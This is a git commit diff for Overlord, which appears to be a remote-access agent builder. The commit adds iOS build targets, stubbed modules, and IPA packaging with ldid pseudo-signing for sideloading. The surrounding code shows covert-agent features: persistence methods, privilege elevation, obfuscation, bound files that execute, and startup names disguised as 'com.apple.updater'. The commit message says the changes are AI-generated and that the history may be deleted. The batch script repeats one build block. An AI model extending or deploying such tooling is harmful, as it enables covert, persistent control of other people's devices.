Get AI to make me a POC. Will need to push to the git so I can test. Will revert if it doesn't work and probably just delete commit history for it as well.
This commit is contained in:
+12
@@ -20,6 +20,7 @@ RUN apt-get update \
|
|||||||
git \
|
git \
|
||||||
unzip \
|
unzip \
|
||||||
upx-ucl \
|
upx-ucl \
|
||||||
|
zip \
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
# Install Go (latest stable version)
|
# Install Go (latest stable version)
|
||||||
@@ -58,6 +59,17 @@ RUN case "${TARGETARCH}" in \
|
|||||||
&& mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \
|
&& mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \
|
||||||
&& rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip
|
&& rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip
|
||||||
|
|
||||||
|
RUN case "${TARGETARCH}" in \
|
||||||
|
amd64) LDID_ARCH="x86_64" ;; \
|
||||||
|
arm64) LDID_ARCH="aarch64" ;; \
|
||||||
|
*) LDID_ARCH="" ;; \
|
||||||
|
esac \
|
||||||
|
&& if [ -n "${LDID_ARCH}" ]; then \
|
||||||
|
wget -q "https://github.com/ProcursusTeam/ldid/releases/download/v2.1.5-procursus7/ldid_linux_${LDID_ARCH}" \
|
||||||
|
-O /usr/local/bin/ldid \
|
||||||
|
&& chmod +x /usr/local/bin/ldid; \
|
||||||
|
fi
|
||||||
|
|
||||||
# Copy package files and lockfile
|
# Copy package files and lockfile
|
||||||
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
|
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build darwin
|
//go:build darwin && !ios && !ios_target
|
||||||
|
|
||||||
package config
|
package config
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
//go:build ios || ios_target
|
||||||
|
|
||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const iosMachineIDFile = "config/ios_machine_id"
|
||||||
|
|
||||||
|
func platformMachineID() string {
|
||||||
|
data, err := os.ReadFile(iosMachineIDFile)
|
||||||
|
if err == nil {
|
||||||
|
if id := strings.TrimSpace(string(data)); id != "" {
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
b := make([]byte, 16)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
log.Printf("[identity] WARNING: failed to generate iOS machine ID: %v", err)
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
id := hex.EncodeToString(b)
|
||||||
|
|
||||||
|
if err := os.MkdirAll("config", 0700); err != nil {
|
||||||
|
log.Printf("[identity] WARNING: failed to create config dir for iOS machine ID: %v", err)
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(iosMachineIDFile, []byte(id), 0600); err != nil {
|
||||||
|
log.Printf("[identity] WARNING: failed to persist iOS machine ID: %v", err)
|
||||||
|
}
|
||||||
|
return id
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build darwin
|
//go:build darwin && !ios && !ios_target
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
//go:build ios || ios_target
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: "elevation is not supported on iOS",
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -1,5 +1,4 @@
|
|||||||
//go:build darwin
|
//go:build darwin && !ios && !ios_target
|
||||||
// +build darwin
|
|
||||||
|
|
||||||
package persistence
|
package persistence
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
//go:build ios || ios_target
|
||||||
|
|
||||||
|
package persistence
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
func install(_ string) error {
|
||||||
|
return fmt.Errorf("persistence is not supported on iOS")
|
||||||
|
}
|
||||||
|
|
||||||
|
func configure(_ string) error {
|
||||||
|
return fmt.Errorf("persistence is not supported on iOS")
|
||||||
|
}
|
||||||
|
|
||||||
|
func getTargetPath() (string, error) {
|
||||||
|
return "", fmt.Errorf("persistence is not supported on iOS")
|
||||||
|
}
|
||||||
|
|
||||||
|
func uninstall() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build darwin && cgo
|
//go:build darwin && cgo && !ios && !ios_target
|
||||||
|
|
||||||
package plugins
|
package plugins
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build darwin
|
//go:build darwin && !ios && !ios_target
|
||||||
|
|
||||||
package sysinfo
|
package sysinfo
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//go:build ios || ios_target
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
func IsAdmin() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func Elevation() string {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func DarwinPermissions() map[string]bool {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -377,6 +377,7 @@ function getSelectedPlatformFamilies() {
|
|||||||
windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")),
|
windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")),
|
||||||
linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")),
|
linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")),
|
||||||
darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")),
|
darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")),
|
||||||
|
ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -384,8 +385,8 @@ function validateStartupName() {
|
|||||||
if (!startupNameError) return true;
|
if (!startupNameError) return true;
|
||||||
const families = getSelectedPlatformFamilies();
|
const families = getSelectedPlatformFamilies();
|
||||||
const val = document.getElementById("startup-name")?.value.trim() || "";
|
const val = document.getElementById("startup-name")?.value.trim() || "";
|
||||||
if (families.darwin && val && !val.startsWith("com.")) {
|
if ((families.darwin || families.ios) && val && !val.startsWith("com.")) {
|
||||||
startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
|
startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
|
||||||
startupNameError.classList.remove("hidden");
|
startupNameError.classList.remove("hidden");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -439,10 +440,20 @@ if (persistenceCheckbox && persistenceMethodContainer) {
|
|||||||
platformInputs.forEach((input) => {
|
platformInputs.forEach((input) => {
|
||||||
input.addEventListener("change", updatePersistenceSettingsVisibility);
|
input.addEventListener("change", updatePersistenceSettingsVisibility);
|
||||||
input.addEventListener("change", updateWindowsSectionVisibility);
|
input.addEventListener("change", updateWindowsSectionVisibility);
|
||||||
|
input.addEventListener("change", updateIosSectionVisibility);
|
||||||
});
|
});
|
||||||
|
|
||||||
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
|
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
|
||||||
|
|
||||||
|
function updateIosSectionVisibility() {
|
||||||
|
const families = getSelectedPlatformFamilies();
|
||||||
|
const iosBundleIdContainer = document.getElementById("ios-bundle-id-container");
|
||||||
|
if (iosBundleIdContainer) {
|
||||||
|
iosBundleIdContainer.classList.toggle("hidden", !families.ios);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
updateIosSectionVisibility();
|
||||||
|
|
||||||
updatePersistenceSettingsVisibility();
|
updatePersistenceSettingsVisibility();
|
||||||
|
|
||||||
form?.addEventListener("change", saveFormSettings);
|
form?.addEventListener("change", saveFormSettings);
|
||||||
@@ -1123,15 +1134,17 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
boundFiles: boundFiles.length > 0
|
boundFiles: boundFiles.length > 0
|
||||||
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
|
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
|
||||||
: undefined,
|
: undefined,
|
||||||
|
iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
|
||||||
};
|
};
|
||||||
|
|
||||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||||
const hasBsd = platforms.some(
|
const hasBsd = platforms.some(
|
||||||
p => p.startsWith('freebsd-') || p.startsWith('openbsd-'),
|
p => p.startsWith('freebsd-') || p.startsWith('openbsd-'),
|
||||||
);
|
);
|
||||||
|
const hasIos = platforms.some(p => p.startsWith('ios-'));
|
||||||
|
|
||||||
if (hasAndroid || hasBsd) {
|
if (hasAndroid || hasBsd || hasIos) {
|
||||||
let warningText = 'WARNING: Some selected targets are severely untested and will probably not work right.\n\n';
|
let warningText = 'WARNING: Some selected targets are experimental/untested.\n\n';
|
||||||
|
|
||||||
if (hasAndroid) {
|
if (hasAndroid) {
|
||||||
warningText += '- Android targets are severely untested and will probably not work right.\n';
|
warningText += '- Android targets are severely untested and will probably not work right.\n';
|
||||||
@@ -1141,6 +1154,10 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
warningText += '- BSD targets are severely untested and will probably not work right.\n';
|
warningText += '- BSD targets are severely untested and will probably not work right.\n';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (hasIos) {
|
||||||
|
warningText += '- iOS targets are experimental (POC). Most features will be stubbed. Output will be packaged as IPA if possible.\n';
|
||||||
|
}
|
||||||
|
|
||||||
warningText += '\nContinue with build anyway?';
|
warningText += '\nContinue with build anyway?';
|
||||||
|
|
||||||
if (!confirm(warningText)) {
|
if (!confirm(warningText)) {
|
||||||
|
|||||||
@@ -120,6 +120,14 @@
|
|||||||
<input type="checkbox" name="platform" value="android-armv7" class="w-4 h-4" />
|
<input type="checkbox" name="platform" value="android-armv7" class="w-4 h-4" />
|
||||||
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
|
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
|
||||||
</label>
|
</label>
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
|
||||||
|
<input type="checkbox" name="platform" value="ios-arm64" class="w-4 h-4" />
|
||||||
|
<span><i class="fa-brands fa-apple text-slate-200"></i> iOS ARM64</span>
|
||||||
|
</label>
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
|
||||||
|
<input type="checkbox" name="platform" value="ios-amd64" class="w-4 h-4" />
|
||||||
|
<span><i class="fa-brands fa-apple text-slate-200"></i> iOS Simulator x64</span>
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -177,6 +185,15 @@
|
|||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div id="ios-bundle-id-container" class="hidden">
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="ios-bundle-id">iOS Bundle ID</label>
|
||||||
|
<input type="text" id="ios-bundle-id" name="ios-bundle-id" placeholder="com.overlord.agent (default)"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
<p class="text-xs text-slate-500 mt-1">
|
||||||
|
Bundle identifier for the iOS IPA package (e.g. <code>com.example.myapp</code>). Used in Info.plist.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="mutex">Mutex (Single-Instance Key)</label>
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="mutex">Mutex (Single-Instance Key)</label>
|
||||||
<input type="text" id="mutex" name="mutex" placeholder="Leave empty for random"
|
<input type="text" id="mutex" name="mutex" placeholder="Leave empty for random"
|
||||||
|
|||||||
@@ -41,4 +41,5 @@ export type BuildConfig = {
|
|||||||
solMemo?: boolean;
|
solMemo?: boolean;
|
||||||
solAddress?: string;
|
solAddress?: string;
|
||||||
solRpcEndpoints?: string;
|
solRpcEndpoints?: string;
|
||||||
|
iosBundleId?: string;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -265,6 +265,7 @@ export async function startBuildProcess(
|
|||||||
const hasBsdTargets = platformsToBuild.some(
|
const hasBsdTargets = platformsToBuild.some(
|
||||||
(p) => p.startsWith("freebsd-") || p.startsWith("openbsd-"),
|
(p) => p.startsWith("freebsd-") || p.startsWith("openbsd-"),
|
||||||
);
|
);
|
||||||
|
const hasIosTargets = platformsToBuild.some((p) => p.startsWith("ios-"));
|
||||||
|
|
||||||
if (hasAndroidTargets) {
|
if (hasAndroidTargets) {
|
||||||
sendToStream({
|
sendToStream({
|
||||||
@@ -282,6 +283,14 @@ export async function startBuildProcess(
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (hasIosTargets) {
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: "WARNING: iOS targets are experimental (POC). Most features will be stubbed. CGO will be force-disabled.\n",
|
||||||
|
level: "warn",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
const ndkBin = resolveAndroidNdkToolchainBin();
|
const ndkBin = resolveAndroidNdkToolchainBin();
|
||||||
if (!ndkBin && platformsToBuild.some((p) => p.startsWith("android-"))) {
|
if (!ndkBin && platformsToBuild.some((p) => p.startsWith("android-"))) {
|
||||||
sendToStream({
|
sendToStream({
|
||||||
@@ -610,7 +619,10 @@ func runBoundFiles() {
|
|||||||
const [os, arch, ...rest] = platform.split("-");
|
const [os, arch, ...rest] = platform.split("-");
|
||||||
const goarm = arch === "armv7" ? "7" : undefined;
|
const goarm = arch === "armv7" ? "7" : undefined;
|
||||||
const actualArch = goarm ? "arm" : arch;
|
const actualArch = goarm ? "arm" : arch;
|
||||||
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
|
// iOS builds use GOOS=darwin with a custom build tag since GOOS=ios requires CGO/Xcode
|
||||||
|
const isIosTarget = os === "ios";
|
||||||
|
const effectiveOs = isIosTarget ? "darwin" : os;
|
||||||
|
const targetKey = `${effectiveOs}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
|
||||||
const namePrefix = config.outputName || "agent";
|
const namePrefix = config.outputName || "agent";
|
||||||
const winExt = config.outputExtension || ".exe";
|
const winExt = config.outputExtension || ".exe";
|
||||||
const outputName = deps.sanitizeOutputName(
|
const outputName = deps.sanitizeOutputName(
|
||||||
@@ -622,7 +634,7 @@ func runBoundFiles() {
|
|||||||
|
|
||||||
const env: NodeJS.ProcessEnv = {
|
const env: NodeJS.ProcessEnv = {
|
||||||
...process.env,
|
...process.env,
|
||||||
GOOS: os,
|
GOOS: effectiveOs,
|
||||||
GOARCH: actualArch,
|
GOARCH: actualArch,
|
||||||
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
|
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
|
||||||
GOWORK: "off",
|
GOWORK: "off",
|
||||||
@@ -640,6 +652,15 @@ func runBoundFiles() {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (isIosTarget && env.CGO_ENABLED === "1") {
|
||||||
|
env.CGO_ENABLED = "0";
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: "WARNING: iOS builds require Xcode toolchain for CGO; forcing CGO disabled for this target.\n",
|
||||||
|
level: "warn",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
if (env.CGO_ENABLED === "1") {
|
if (env.CGO_ENABLED === "1") {
|
||||||
const cCompilerByTarget: Record<string, string> = {
|
const cCompilerByTarget: Record<string, string> = {
|
||||||
"linux/amd64": "musl-gcc",
|
"linux/amd64": "musl-gcc",
|
||||||
@@ -808,9 +829,10 @@ func runBoundFiles() {
|
|||||||
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
|
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
|
||||||
if (methods.includes("wmi")) buildTags.push("persist_wmi");
|
if (methods.includes("wmi")) buildTags.push("persist_wmi");
|
||||||
}
|
}
|
||||||
|
if (isIosTarget) buildTags.push("ios_target");
|
||||||
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
|
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
|
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${effectiveOs} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}${isIosTarget ? " (iOS target via darwin+ios_target tag)" : ""}`);
|
||||||
|
|
||||||
const garbleFlags: string[] = [];
|
const garbleFlags: string[] = [];
|
||||||
if (config.obfuscate) {
|
if (config.obfuscate) {
|
||||||
@@ -931,6 +953,118 @@ func runBoundFiles() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── IPA packaging for iOS targets ──────────────────────────────────────
|
||||||
|
if (os === "ios") {
|
||||||
|
sendToStream({ type: "output", text: `Packaging ${outputName} as IPA...\n`, level: "info" });
|
||||||
|
try {
|
||||||
|
const appName = config.outputName || "Agent";
|
||||||
|
const bundleId = config.iosBundleId || "com.overlord.agent";
|
||||||
|
const ipaWorkDir = path.join(outDir, `_ipa_${platform}`);
|
||||||
|
const payloadAppDir = path.join(ipaWorkDir, "Payload", `${appName}.app`);
|
||||||
|
|
||||||
|
// Create Payload/App.app structure
|
||||||
|
fs.mkdirSync(payloadAppDir, { recursive: true });
|
||||||
|
|
||||||
|
// Copy binary into .app
|
||||||
|
fs.copyFileSync(filePath, path.join(payloadAppDir, appName));
|
||||||
|
fs.chmodSync(path.join(payloadAppDir, appName), 0o755);
|
||||||
|
|
||||||
|
// Generate Info.plist
|
||||||
|
const infoPlist = `<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>CFBundleExecutable</key>
|
||||||
|
<string>${appName}</string>
|
||||||
|
<key>CFBundleIdentifier</key>
|
||||||
|
<string>${bundleId}</string>
|
||||||
|
<key>CFBundleName</key>
|
||||||
|
<string>${appName}</string>
|
||||||
|
<key>CFBundleDisplayName</key>
|
||||||
|
<string>${appName}</string>
|
||||||
|
<key>CFBundleVersion</key>
|
||||||
|
<string>${agentVersion}</string>
|
||||||
|
<key>CFBundleShortVersionString</key>
|
||||||
|
<string>${agentVersion}</string>
|
||||||
|
<key>CFBundlePackageType</key>
|
||||||
|
<string>APPL</string>
|
||||||
|
<key>CFBundleSupportedPlatforms</key>
|
||||||
|
<array>
|
||||||
|
<string>iPhoneOS</string>
|
||||||
|
</array>
|
||||||
|
<key>MinimumOSVersion</key>
|
||||||
|
<string>14.0</string>
|
||||||
|
<key>CFBundleInfoDictionaryVersion</key>
|
||||||
|
<string>6.0</string>
|
||||||
|
<key>LSRequiresIPhoneOS</key>
|
||||||
|
<true/>
|
||||||
|
<key>UIDeviceFamily</key>
|
||||||
|
<array>
|
||||||
|
<integer>1</integer>
|
||||||
|
<integer>2</integer>
|
||||||
|
</array>
|
||||||
|
<key>UISupportedInterfaceOrientations</key>
|
||||||
|
<array>
|
||||||
|
<string>UIInterfaceOrientationPortrait</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</plist>`;
|
||||||
|
fs.writeFileSync(path.join(payloadAppDir, "Info.plist"), infoPlist, "utf8");
|
||||||
|
|
||||||
|
// Attempt pseudo-signing with ldid if available
|
||||||
|
try {
|
||||||
|
const ldidResult = await $`which ldid`.nothrow().quiet();
|
||||||
|
if (ldidResult.exitCode === 0) {
|
||||||
|
const ldidSign = await $`ldid -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet();
|
||||||
|
if (ldidSign.exitCode === 0) {
|
||||||
|
sendToStream({ type: "output", text: `Pseudo-signed with ldid\n`, level: "info" });
|
||||||
|
} else {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: ldid signing failed (non-fatal)\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
sendToStream({ type: "output", text: `ldid not found; skipping pseudo-signing (install ldid for TrollStore/sideload compatibility)\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
} catch { /* ldid is optional */ }
|
||||||
|
|
||||||
|
const ipaName = `${outputName}.ipa`;
|
||||||
|
const ipaPath = path.join(outDir, ipaName);
|
||||||
|
const zipResult = await $`cd ${ipaWorkDir} && zip -r ${ipaPath} Payload/ 2>&1 || true`.nothrow().quiet();
|
||||||
|
|
||||||
|
// Fallback: if system zip isn't available, try creating it manually
|
||||||
|
if (!fs.existsSync(ipaPath)) {
|
||||||
|
// Use a simple tar+gzip approach as last resort — though real IPAs need zip
|
||||||
|
sendToStream({ type: "output", text: `WARNING: zip command not available. Outputting raw Mach-O binary instead of IPA.\n`, level: "warn" });
|
||||||
|
} else {
|
||||||
|
// Remove the raw binary, replace with IPA
|
||||||
|
fs.unlinkSync(filePath);
|
||||||
|
finalSize = fs.statSync(ipaPath).size;
|
||||||
|
sendToStream({ type: "output", text: `IPA packaged: ${finalSize} bytes\n`, level: "info" });
|
||||||
|
|
||||||
|
// Update output references to point to the IPA
|
||||||
|
const ipaOutputName = outputName.endsWith(".ipa") ? outputName : `${outputName}.ipa`;
|
||||||
|
|
||||||
|
// Clean up temp dirs
|
||||||
|
fs.rmSync(ipaWorkDir, { recursive: true, force: true });
|
||||||
|
|
||||||
|
// Push IPA file entry instead of raw binary
|
||||||
|
(build.files as any[]).push({
|
||||||
|
name: ipaOutputName,
|
||||||
|
filename: ipaOutputName,
|
||||||
|
platform,
|
||||||
|
version: agentVersion,
|
||||||
|
size: finalSize,
|
||||||
|
});
|
||||||
|
continue; // Skip the default file push below
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up temp dirs
|
||||||
|
fs.rmSync(ipaWorkDir, { recursive: true, force: true });
|
||||||
|
} catch (ipaErr: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: IPA packaging failed: ${ipaErr.message || ipaErr}. Output is a raw Mach-O binary.\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// ── End IPA packaging ─────────────────────────────────────────────────
|
||||||
|
|
||||||
(build.files as any[]).push({
|
(build.files as any[]).push({
|
||||||
name: outputName,
|
name: outputName,
|
||||||
filename: outputName,
|
filename: outputName,
|
||||||
|
|||||||
@@ -79,6 +79,7 @@ export async function handleBuildRoutes(
|
|||||||
outputExtension,
|
outputExtension,
|
||||||
sleepSeconds,
|
sleepSeconds,
|
||||||
boundFiles,
|
boundFiles,
|
||||||
|
iosBundleId,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||||
@@ -227,7 +228,8 @@ export async function handleBuildRoutes(
|
|||||||
? startupName.trim()
|
? startupName.trim()
|
||||||
: undefined;
|
: undefined;
|
||||||
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
|
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
|
||||||
if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
|
const hasIosTarget = allowedPlatforms.some((p) => p.startsWith('ios-'));
|
||||||
|
if ((hasDarwinTarget || hasIosTarget) && safeStartupName && !safeStartupName.startsWith('com.')) {
|
||||||
return Response.json(
|
return Response.json(
|
||||||
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
|
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
|
||||||
{ status: 400 },
|
{ status: 400 },
|
||||||
@@ -340,6 +342,7 @@ export async function handleBuildRoutes(
|
|||||||
outputExtension: safeOutputExtension,
|
outputExtension: safeOutputExtension,
|
||||||
sleepSeconds: safeSleepSeconds,
|
sleepSeconds: safeSleepSeconds,
|
||||||
boundFiles: safeBoundFiles,
|
boundFiles: safeBoundFiles,
|
||||||
|
iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined,
|
||||||
});
|
});
|
||||||
|
|
||||||
return Response.json({ buildId });
|
return Response.json({ buildId });
|
||||||
|
|||||||
@@ -34,6 +34,8 @@ export const ALLOWED_PLATFORMS = new Set([
|
|||||||
"android-arm64",
|
"android-arm64",
|
||||||
"android-amd64",
|
"android-amd64",
|
||||||
"android-armv7",
|
"android-armv7",
|
||||||
|
"ios-arm64",
|
||||||
|
"ios-amd64",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
export const ALLOWED_OS_FILTERS = new Set([
|
export const ALLOWED_OS_FILTERS = new Set([
|
||||||
@@ -42,4 +44,5 @@ export const ALLOWED_OS_FILTERS = new Set([
|
|||||||
"darwin",
|
"darwin",
|
||||||
"android",
|
"android",
|
||||||
"freebsd",
|
"freebsd",
|
||||||
|
"ios",
|
||||||
]);
|
]);
|
||||||
|
|||||||
@@ -177,6 +177,38 @@ set CGO_ENABLED=0
|
|||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
set GOARM=
|
set GOARM=
|
||||||
|
|
||||||
|
echo WARNING: iOS targets are experimental (POC). Most features will be stubbed.
|
||||||
|
|
||||||
|
echo == Building agent for ios arm64 ==
|
||||||
|
set GOOS=darwin
|
||||||
|
set GOARCH=arm64
|
||||||
|
set CGO_ENABLED=0
|
||||||
|
if "%NO_PRINTING%"=="true" (
|
||||||
|
%BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-arm64" ./cmd/agent
|
||||||
|
) else (
|
||||||
|
%BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-arm64" ./cmd/agent
|
||||||
|
)
|
||||||
|
if errorlevel 1 goto :err
|
||||||
|
|
||||||
|
echo == Building agent for ios amd64 (simulator) ==
|
||||||
|
set GOOS=darwin
|
||||||
|
set GOARCH=amd64
|
||||||
|
set CGO_ENABLED=0
|
||||||
|
if "%NO_PRINTING%"=="true" (
|
||||||
|
%BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
|
||||||
|
) else (
|
||||||
|
%BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
|
||||||
|
)
|
||||||
|
set GOOS=darwin
|
||||||
|
set GOARCH=amd64
|
||||||
|
set CGO_ENABLED=0
|
||||||
|
if "%NO_PRINTING%"=="true" (
|
||||||
|
%BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
|
||||||
|
) else (
|
||||||
|
%BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
|
||||||
|
)
|
||||||
|
if errorlevel 1 goto :err
|
||||||
|
|
||||||
echo == Building agent for openbsd amd64 ==
|
echo == Building agent for openbsd amd64 ==
|
||||||
set GOOS=openbsd
|
set GOOS=openbsd
|
||||||
set GOARCH=amd64
|
set GOARCH=amd64
|
||||||
|
|||||||
Reference in New Issue
Block a user